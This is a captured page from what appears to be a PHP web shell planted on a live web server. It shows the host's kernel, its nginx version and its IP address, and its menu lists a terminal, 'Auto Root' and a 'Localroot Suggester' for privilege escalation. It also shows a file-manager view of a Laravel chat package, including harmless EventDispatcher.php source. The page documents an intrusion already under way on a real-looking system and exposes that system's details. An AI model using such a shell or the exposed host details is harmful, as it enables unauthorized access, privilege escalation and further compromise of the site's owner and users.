Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.218.99.99
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
musonza /
chat /
src /
Eventing /
Delete
Unzip
Name
Size
Permission
Date
Action
AllParticipantsClearedConversation.php
269
B
-rw-r--r--
2021-02-02 18:21
AllParticipantsDeletedMessage.php
248
B
-rw-r--r--
2021-02-02 18:21
ConversationStarted.php
309
B
-rw-r--r--
2021-02-02 18:21
Event.php
57
B
-rw-r--r--
2021-02-02 18:21
EventDispatcher.php
669
B
-rw-r--r--
2021-02-02 18:21
EventGenerator.php
339
B
-rw-r--r--
2021-02-02 18:21
MessageWasSent.php
1.31
KB
-rw-r--r--
2021-02-02 18:21
ParticipantsJoined.php
394
B
-rw-r--r--
2021-02-02 18:21
ParticipantsLeft.php
392
B
-rw-r--r--
2021-02-02 18:21
Save
Rename
<?php namespace Musonza\Chat\Eventing; use Illuminate\Contracts\Events\Dispatcher as DispatcherContract; use Musonza\Chat\Chat; class EventDispatcher { protected $event; public function __construct(DispatcherContract $event) { $this->event = $event; } public function dispatch(array $events) { if (Chat::broadcasts()) { foreach ($events as $event) { $eventName = $this->getEventName($event); $this->event->dispatch($eventName, $event); } } } public function getEventName($event) { return str_replace('\\', '.', get_class($event)); } }